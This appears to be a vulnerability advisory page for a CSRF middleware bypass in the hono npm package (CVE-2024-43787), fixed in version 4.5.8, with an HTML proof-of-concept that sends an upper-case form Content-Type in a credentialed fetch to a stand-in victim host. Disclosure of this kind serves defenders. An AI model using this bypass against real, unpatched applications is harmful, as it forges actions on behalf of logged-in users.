Hono CSRF middleware can be bypassed using crafted Content-Type header
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header.
Details
MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".
PoC
<html>
<head>
<title>CSRF Test</title>
<script defer>
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
</script>
</head>
<body>
<h1>CSRF Test</h1>
<button id="btn">Click me!</button>
</body>
</html>Impact
Bypass csrf protection implemented with hono csrf middleware.
Discussion
I'm not sure that omitting csrf checks for Simple POST request is a good idea. CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | hono | < 4.5.8 | 4.5.8 |
References
- https://github.com/honojs/hono/security/advisories/GHSA-rpfr-3m35-5vx5
- https://nvd.nist.gov/vuln/detail/CVE-2024-43787
- https://github.com/honojs/hono/commit/41ce840379516410dee60c783142e05bb5a22449
- https://github.com/honojs/hono
- https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L- Weakness (CWE)
CWE-352- Platform
- npm
- Package
hono- Disclosed
- 22.08.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-rpfr-3m35-5vx5 - CC BY 4.0
Vulnerability history: hono
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 52
- First → latest
- 12.2023 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 7
- Medium 41
- Low 4
Disclosures per year
- 2023: 1
- 2024: 3
- 2025: 4
- 2026: 44
-
Hono CSRF middleware can be bypassed using crafted Content-Type header this entry
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